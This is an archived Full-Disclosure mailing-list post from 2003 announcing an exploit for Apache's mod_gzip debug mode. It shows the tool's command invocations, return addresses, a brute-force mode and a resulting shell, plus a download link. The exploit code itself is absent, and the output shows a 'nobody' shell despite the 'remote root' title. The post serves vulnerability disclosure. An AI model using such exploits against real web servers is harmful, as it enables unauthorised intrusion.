full-disclosure - Remote root exploit for mod_gzip (with debug

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <007001c3af9c$83648db0$0bd3bdd5@pigkiller>
From: pk95 at yandex.ru (Alexander Antipov)
Subject: Remote root exploit for mod_gzip (with debug_mode)

Hi!

/	Single mode:
\
/  	[crz@...cksand crz]$ ./85mod_gzip -t 0 -h localhost
\ 
/  	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\                   	by xCrZx [crazy_einstein@...oo.com] / 
\  	Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/ 
\    	[!] Connecting to localhost:80
/      	[+] Connected!
\      	[*] Trying to connect to localhost:2003 port!!! Pray for success!
/      	[*] Sleeping at 2 seconds...
\ 
/      	[!] Shell is accessible!
\ 
/      	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\      	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/ 
\	Brute mode:
/ 
\	[crz@...cksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/        	         by xCrZx [crazy_einstein@...oo.com] /05.06.03/
\
/	Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/	[~] Brutemode activated!
\	.
/	[!] Shell is accessible!
\
/	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux

Code can be download here:

http://www.securitylab.ru/41373.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031120/fcfd4b3a/attachment.html